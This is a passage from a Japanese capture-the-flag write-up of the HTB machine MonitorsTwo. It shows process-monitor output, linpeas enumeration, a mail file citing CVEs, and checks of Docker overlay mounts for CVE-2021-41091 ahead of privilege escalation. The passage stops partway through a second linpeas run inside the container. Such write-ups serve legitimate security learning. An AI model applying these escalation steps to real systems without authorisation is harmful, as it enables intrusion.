2023/05/01 08:01:26 CMD: UID=0     PID=279    | 
2023/05/01 08:01:26 CMD: UID=0     PID=278    | 
2023/05/01 08:01:26 CMD: UID=0     PID=276    | 
2023/05/01 08:01:26 CMD: UID=0     PID=274    | 
2023/05/01 08:01:26 CMD: UID=0     PID=273    | 
2023/05/01 08:01:26 CMD: UID=0     PID=272    | 
2023/05/01 08:01:26 CMD: UID=0     PID=265    | 
2023/05/01 08:01:26 CMD: UID=0     PID=263    | 
2023/05/01 08:01:26 CMD: UID=0     PID=259    | 
2023/05/01 08:01:26 CMD: UID=0     PID=254    | 
2023/05/01 08:01:26 CMD: UID=0     PID=253    | 
2023/05/01 08:01:26 CMD: UID=0     PID=252    | 
2023/05/01 08:01:26 CMD: UID=0     PID=251    | 
2023/05/01 08:01:26 CMD: UID=0     PID=250    | 
2023/05/01 08:01:26 CMD: UID=0     PID=249    | 
2023/05/01 08:01:26 CMD: UID=0     PID=248    | 
2023/05/01 08:01:26 CMD: UID=0     PID=247    | 
2023/05/01 08:01:26 CMD: UID=0     PID=246    | 
2023/05/01 08:01:26 CMD: UID=0     PID=245    | 
2023/05/01 08:01:26 CMD: UID=0     PID=244    | 
2023/05/01 08:01:26 CMD: UID=0     PID=243    | 
2023/05/01 08:01:26 CMD: UID=0     PID=242    | 
2023/05/01 08:01:26 CMD: UID=0     PID=241    | 
2023/05/01 08:01:26 CMD: UID=0     PID=240    | 
2023/05/01 08:01:26 CMD: UID=0     PID=239    | 
2023/05/01 08:01:26 CMD: UID=0     PID=238    | 
2023/05/01 08:01:26 CMD: UID=0     PID=237    | 
2023/05/01 08:01:26 CMD: UID=0     PID=236    | 
2023/05/01 08:01:26 CMD: UID=0     PID=235    | 
2023/05/01 08:01:26 CMD: UID=0     PID=234    | 
2023/05/01 08:01:26 CMD: UID=0     PID=233    | 
2023/05/01 08:01:26 CMD: UID=0     PID=232    | 
2023/05/01 08:01:26 CMD: UID=0     PID=231    | 
2023/05/01 08:01:26 CMD: UID=0     PID=230    | 
2023/05/01 08:01:26 CMD: UID=0     PID=229    | 
2023/05/01 08:01:26 CMD: UID=0     PID=228    | 
2023/05/01 08:01:26 CMD: UID=0     PID=227    | 
2023/05/01 08:01:26 CMD: UID=0     PID=226    | 
2023/05/01 08:01:26 CMD: UID=0     PID=225    | 
2023/05/01 08:01:26 CMD: UID=0     PID=219    | 
2023/05/01 08:01:26 CMD: UID=0     PID=218    | 
2023/05/01 08:01:26 CMD: UID=0     PID=216    | 
2023/05/01 08:01:26 CMD: UID=0     PID=215    | 
2023/05/01 08:01:26 CMD: UID=0     PID=210    | 
2023/05/01 08:01:26 CMD: UID=0     PID=205    | 
2023/05/01 08:01:26 CMD: UID=0     PID=204    | 
2023/05/01 08:01:26 CMD: UID=0     PID=203    | 
2023/05/01 08:01:26 CMD: UID=0     PID=202    | 
2023/05/01 08:01:26 CMD: UID=0     PID=157    | 
2023/05/01 08:01:26 CMD: UID=0     PID=144    | 
2023/05/01 08:01:26 CMD: UID=0     PID=141    | 
2023/05/01 08:01:26 CMD: UID=0     PID=131    | 
2023/05/01 08:01:26 CMD: UID=0     PID=130    | 
2023/05/01 08:01:26 CMD: UID=0     PID=128    | 
2023/05/01 08:01:26 CMD: UID=0     PID=127    | 
2023/05/01 08:01:26 CMD: UID=0     PID=126    | 
2023/05/01 08:01:26 CMD: UID=0     PID=125    | 
2023/05/01 08:01:26 CMD: UID=0     PID=124    | 
2023/05/01 08:01:26 CMD: UID=0     PID=123    | 
2023/05/01 08:01:26 CMD: UID=0     PID=122    | 
2023/05/01 08:01:26 CMD: UID=0     PID=121    | 
2023/05/01 08:01:26 CMD: UID=0     PID=120    | 
2023/05/01 08:01:26 CMD: UID=0     PID=119    | 
2023/05/01 08:01:26 CMD: UID=0     PID=118    | 
2023/05/01 08:01:26 CMD: UID=0     PID=117    | 
2023/05/01 08:01:26 CMD: UID=0     PID=116    | 
2023/05/01 08:01:26 CMD: UID=0     PID=115    | 
2023/05/01 08:01:26 CMD: UID=0     PID=114    | 
2023/05/01 08:01:26 CMD: UID=0     PID=113    | 
2023/05/01 08:01:26 CMD: UID=0     PID=112    | 
2023/05/01 08:01:26 CMD: UID=0     PID=111    | 
2023/05/01 08:01:26 CMD: UID=0     PID=110    | 
2023/05/01 08:01:26 CMD: UID=0     PID=109    | 
2023/05/01 08:01:26 CMD: UID=0     PID=108    | 
2023/05/01 08:01:26 CMD: UID=0     PID=107    | 
2023/05/01 08:01:26 CMD: UID=0     PID=106    | 
2023/05/01 08:01:26 CMD: UID=0     PID=105    | 
2023/05/01 08:01:26 CMD: UID=0     PID=104    | 
2023/05/01 08:01:26 CMD: UID=0     PID=103    | 
2023/05/01 08:01:26 CMD: UID=0     PID=102    | 
2023/05/01 08:01:26 CMD: UID=0     PID=101    | 
2023/05/01 08:01:26 CMD: UID=0     PID=100    | 
2023/05/01 08:01:26 CMD: UID=0     PID=99     | 
2023/05/01 08:01:26 CMD: UID=0     PID=98     | 
2023/05/01 08:01:26 CMD: UID=0     PID=97     | 
2023/05/01 08:01:26 CMD: UID=0     PID=96     | 
2023/05/01 08:01:26 CMD: UID=0     PID=95     | 
2023/05/01 08:01:26 CMD: UID=0     PID=94     | 
2023/05/01 08:01:26 CMD: UID=0     PID=93     | 
2023/05/01 08:01:26 CMD: UID=0     PID=92     | 
2023/05/01 08:01:26 CMD: UID=0     PID=91     | 
2023/05/01 08:01:26 CMD: UID=0     PID=89     | 
2023/05/01 08:01:26 CMD: UID=0     PID=88     | 
2023/05/01 08:01:26 CMD: UID=0     PID=85     | 
2023/05/01 08:01:26 CMD: UID=0     PID=84     | 
2023/05/01 08:01:26 CMD: UID=0     PID=83     | 
2023/05/01 08:01:26 CMD: UID=0     PID=82     | 
2023/05/01 08:01:26 CMD: UID=0     PID=81     | 
2023/05/01 08:01:26 CMD: UID=0     PID=80     | 
2023/05/01 08:01:26 CMD: UID=0     PID=79     | 
2023/05/01 08:01:26 CMD: UID=0     PID=78     | 
2023/05/01 08:01:26 CMD: UID=0     PID=77     | 
2023/05/01 08:01:26 CMD: UID=0     PID=30     | 
2023/05/01 08:01:26 CMD: UID=0     PID=29     | 
2023/05/01 08:01:26 CMD: UID=0     PID=28     | 
2023/05/01 08:01:26 CMD: UID=0     PID=27     | 
2023/05/01 08:01:26 CMD: UID=0     PID=26     | 
2023/05/01 08:01:26 CMD: UID=0     PID=25     | 
2023/05/01 08:01:26 CMD: UID=0     PID=24     | 
2023/05/01 08:01:26 CMD: UID=0     PID=23     | 
2023/05/01 08:01:26 CMD: UID=0     PID=22     | 
2023/05/01 08:01:26 CMD: UID=0     PID=21     | 
2023/05/01 08:01:26 CMD: UID=0     PID=20     | 
2023/05/01 08:01:26 CMD: UID=0     PID=18     | 
2023/05/01 08:01:26 CMD: UID=0     PID=17     | 
2023/05/01 08:01:26 CMD: UID=0     PID=16     | 
2023/05/01 08:01:26 CMD: UID=0     PID=15     | 
2023/05/01 08:01:26 CMD: UID=0     PID=14     | 
2023/05/01 08:01:26 CMD: UID=0     PID=13     | 
2023/05/01 08:01:26 CMD: UID=0     PID=12     | 
2023/05/01 08:01:26 CMD: UID=0     PID=11     | 
2023/05/01 08:01:26 CMD: UID=0     PID=10     | 
2023/05/01 08:01:26 CMD: UID=0     PID=9      | 
2023/05/01 08:01:26 CMD: UID=0     PID=8      | 
2023/05/01 08:01:26 CMD: UID=0     PID=6      | 
2023/05/01 08:01:26 CMD: UID=0     PID=4      | 
2023/05/01 08:01:26 CMD: UID=0     PID=3      | 
2023/05/01 08:01:26 CMD: UID=0     PID=2      | 
2023/05/01 08:01:26 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity 
```
なんもいいのない。

### linpeas
ということでlinpeas使います。Linemunよりこっち派。
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

起動します。
```bash
marcus@monitorstwo:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @carlospolopm                           |                                                                     
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.'                              
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

...省略

╔══════════╣ Files inside /home/marcus (limit 20)
total 32                                                                                                                                                    
drwxr-xr-x 4 marcus marcus 4096 May  1 08:02 .
drwxr-xr-x 3 root   root   4096 Jan  5 09:51 ..
lrwxrwxrwx 1 root   root      9 Jan  5 10:12 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus  220 Jan  5 09:51 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Jan  5 09:51 .bashrc
drwx------ 2 marcus marcus 4096 Mar 21 10:49 .cache
drwx------ 3 marcus marcus 4096 May  1 08:02 .gnupg
-rw-r--r-- 1 marcus marcus  807 Jan  5 09:51 .profile
-rw-r----- 1 root   marcus   33 May  1 02:15 user.txt

╔══════════╣ Files inside others home (limit 20)
/var/www/html/index.nginx-debian.html                                                                                                                       

╔══════════╣ Searching installed mail applications
                                                                                                                                                            
╔══════════╣ Mails (limit 50)
     4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/mail/marcus                                                                    
     4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/spool/mail/marcus

╔══════════╣ Backup files (limited 100)
-rwxr-xr-x 1 root root 226 Feb 17  2020 /usr/share/byobu/desktop/byobu.desktop.old                                                                          
-rw-r--r-- 1 root root 392817 Feb  9  2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 7867 Jul 16  1996 /usr/share/doc/telnet/README.old.gz
-rw-r--r-- 1 root root 11886 Mar 22 12:29 /usr/share/info/dir.old
-rw-r--r-- 1 root root 2756 Feb 13  2020 /usr/share/man/man8/vgcfgbackup.8.gz
-rw-r--r-- 1 root root 0 Mar 21 09:50 /usr/src/linux-headers-5.4.0-147-generic/include/config/wm831x/backup.h
-rw-r--r-- 1 root root 0 Mar 21 09:50 /usr/src/linux-headers-5.4.0-147-generic/include/config/net/team/mode/activebackup.h
-rw-r--r-- 1 root root 237898 Mar 21 09:50 /usr/src/linux-headers-5.4.0-147-generic/.config.old
-rwxr-xr-x 1 root root 1086 Nov 25  2019 /usr/src/linux-headers-5.4.0-147/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 44048 Sep 19  2022 /usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 9833 Mar 21 09:50 /usr/lib/modules/5.4.0-147-generic/kernel/drivers/power/supply/wm831x_backup.ko
-rw-r--r-- 1 root root 9073 Mar 21 09:50 /usr/lib/modules/5.4.0-147-generic/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 1802 Aug 15  2022 /usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
-rw-r--r-- 1 root root 1413 Jan  9 10:39 /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc
-rw-r--r-- 1 root root 4096 May  1 08:02 /sys/devices/virtual/net/veth48bf901/brport/backup_port
-rw-r--r-- 1 root root 4096 May  1 08:02 /sys/devices/virtual/net/veth6933c2d/brport/backup_port
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3031001                                                
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3031001

 -> Extracting tables from /var/lib/command-not-found/commands.db (limit 20)
 -> Extracting tables from /var/lib/fwupd/pending.db (limit 20)                                                                                             
 -> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)                                                                                   
                                                                                                                                                            
╔══════════╣ Web files?(output limit)
/var/www/:                                                                                                                                                  
total 12K
drwxr-xr-x  3 root root 4.0K Jan  9 10:03 .
drwxr-xr-x 13 root root 4.0K Jan  9 10:03 ..
drwxr-xr-x  2 root root 4.0K Jan  9 10:03 html

/var/www/html:
total 12K
drwxr-xr-x 2 root root 4.0K Jan  9 10:03 .
drwxr-xr-x 3 root root 4.0K Jan  9 10:03 ..

...省略

```
何やらmailのファイルがあることがわかるのでこの中身を見てみることにする。

### mail
```bash
marcus@monitorstwo:/var$ cd mail
marcus@monitorstwo:/var/mail$ ls -lta
total 12
drwxrwsr-x  2 root mail 4096 Mar 22 11:46 .
drwxr-xr-x 13 root root 4096 Jan  9 10:03 ..
-rw-r--r--  1 root mail 1809 Oct 18  2021 marcus
marcus@monitorstwo:/var/mail$ cat marcus 
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team
marcus@monitorstwo:/var/mail$ 

marcus@monitorstwo:/var/mail$ cd /var/spool/mail
marcus@monitorstwo:/var/spool/mail$ ls -lta
total 12
drwxrwsr-x  2 root mail 4096 Mar 22 11:46 .
drwxr-xr-x 13 root root 4096 Jan  9 10:03 ..
-rw-r--r--  1 root mail 1809 Oct 18  2021 marcus
marcus@monitorstwo:/var/spool/mail$ cat marcus 
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team
marcus@monitorstwo:/var/spool/mail$ 
```
同じ内容のようである。
英訳してみるとこんな感じだ。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/689937b5-1394-4956-497c-c377ec0c7220.png)
何やら脆弱性が存在することを示唆する内容である。
このどれかを試していくんだろう。

___※ここで`CVE-2021-33033`を試した人は４んでしまう。実際にやったが４んだ。すごく時間を使ったのにやってしまった。___

## CVE-2021-41091

https://www.cyberark.com/resources/threat-research-blog/how-docker-made-me-more-capable-and-the-host-less-secure

この脆弱性の詳しい説明はこの記事を確認してみればいい。
というよりこのPoCをそのまま試していくだけである。

実際に脆弱性が存在するかどうかを確認しておく。
```bash
marcus@monitorstwo:~$ findmnt
TARGET                                SOURCE      FSTYPE      OPTIONS
/                                     /dev/sda2   ext4        rw,relatime
├─/sys                                sysfs       sysfs       rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/security              securityfs  securityfs  rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/cgroup                    tmpfs       tmpfs       ro,nosuid,nodev,noexec,mode=755
│ │ ├─/sys/fs/cgroup/unified          cgroup2     cgroup2     rw,nosuid,nodev,noexec,relatime,nsdelegate
│ │ ├─/sys/fs/cgroup/systemd          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,xattr,name=systemd
│ │ ├─/sys/fs/cgroup/cpu,cpuacct      cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,cpu,cpuacct
│ │ ├─/sys/fs/cgroup/memory           cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,memory
│ │ ├─/sys/fs/cgroup/rdma             cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,rdma
│ │ ├─/sys/fs/cgroup/cpuset           cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,cpuset
│ │ ├─/sys/fs/cgroup/perf_event       cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,perf_event
│ │ ├─/sys/fs/cgroup/pids             cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,pids
│ │ ├─/sys/fs/cgroup/freezer          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,freezer
│ │ ├─/sys/fs/cgroup/net_cls,net_prio cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,net_cls,net_prio
│ │ ├─/sys/fs/cgroup/hugetlb          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,hugetlb
│ │ ├─/sys/fs/cgroup/devices          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,devices
│ │ └─/sys/fs/cgroup/blkio            cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,blkio
│ ├─/sys/fs/pstore                    pstore      pstore      rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/bpf                       none        bpf         rw,nosuid,nodev,noexec,relatime,mode=700
│ ├─/sys/kernel/debug                 debugfs     debugfs     rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/tracing               tracefs     tracefs     rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/fuse/connections          fusectl     fusectl     rw,nosuid,nodev,noexec,relatime
│ └─/sys/kernel/config                configfs    configfs    rw,nosuid,nodev,noexec,relatime
├─/proc                               proc        proc        rw,nosuid,nodev,noexec,relatime
│ └─/proc/sys/fs/binfmt_misc          systemd-1   autofs      rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=16015
│   └─/proc/sys/fs/binfmt_misc        binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime
├─/dev                                udev        devtmpfs    rw,nosuid,noexec,relatime,size=1966928k,nr_inodes=491732,mode=755
│ ├─/dev/pts                          devpts      devpts      rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000
│ ├─/dev/shm                          tmpfs       tmpfs       rw,nosuid,nodev
│ ├─/dev/mqueue                       mqueue      mqueue      rw,nosuid,nodev,noexec,relatime
│ └─/dev/hugepages                    hugetlbfs   hugetlbfs   rw,relatime,pagesize=2M
├─/run                                tmpfs       tmpfs       rw,nosuid,nodev,noexec,relatime,size=402608k,mode=755
│ ├─/run/lock                         tmpfs       tmpfs       rw,nosuid,nodev,noexec,relatime,size=5120k
│ ├─/run/docker/netns/79f1a112b222    nsfs[net:[4026532570]]
│ │                                               nsfs        rw
│ ├─/run/user/1000                    tmpfs       tmpfs       rw,nosuid,nodev,relatime,size=402608k,mode=700,uid=1000,gid=1000
│ └─/run/docker/netns/de2f680254ac    nsfs[net:[4026532632]]
│                                                 nsfs        rw
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/ove
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│                                     shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/ove
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
                                      shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k
marcus@monitorstwo:~$
marcus@monitorstwo:~$
marcus@monitorstwo:~$
marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls -lta
total 128
drwxrwxrwt 1 root root 36864 May  1 12:30 tmp
drwx-----x 5 root root  4096 May  1 02:15 ..
drwxr-xr-x 1 root root  4096 Mar 22 13:21 bin
drwxr-xr-x 2 root root  4096 Mar 22 13:21 boot
drwxr-xr-x 2 root root  4096 Mar 22 13:21 home
drwxr-xr-x 2 root root  4096 Mar 22 13:21 lib64
drwxr-xr-x 2 root root  4096 Mar 22 13:21 media
drwxr-xr-x 2 root root  4096 Mar 22 13:21 mnt
drwxr-xr-x 2 root root  4096 Mar 22 13:21 opt
drwxr-xr-x 2 root root  4096 Mar 22 13:21 proc
drwxr-xr-x 2 root root  4096 Mar 22 13:21 srv
drwxr-xr-x 2 root root  4096 Mar 22 13:21 sys
drwx------ 1 root root  4096 Mar 21 10:50 root
drwxr-xr-x 1 root root  4096 Mar 21 10:49 .
drwxr-xr-x 1 root root  4096 Mar 21 10:49 dev
drwxr-xr-x 1 root root  4096 Mar 21 10:49 etc
-rwxr-xr-x 1 root root     0 Mar 21 10:49 .dockerenv
drwxr-xr-x 1 root root  4096 Jan  9 09:30 sbin
-rwxr-xr-x 1 root root     0 Jan  5 11:37 entrypoint.sh
drwxr-xr-x 1 root root  4096 Nov 15 04:17 run
drwxr-xr-x 1 root root  4096 Nov 15 04:13 var
drwxr-xr-x 1 root root  4096 Nov 15 04:13 lib
drwxr-xr-x 1 root root  4096 Nov 14 00:00 usr
```
階層見れたので脆弱性があることが確認できた。
だがこの脆弱性を用いて権限昇格させるにはDocker環境がRoot権限でないといけない。
Docker環境でのPrivEscを試していく。

## PrivEsc in Docker
### linpeas in Docker
Docker環境内部でlinpeasを回してみる。
```bash
chmod +x linpeas.sh
./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
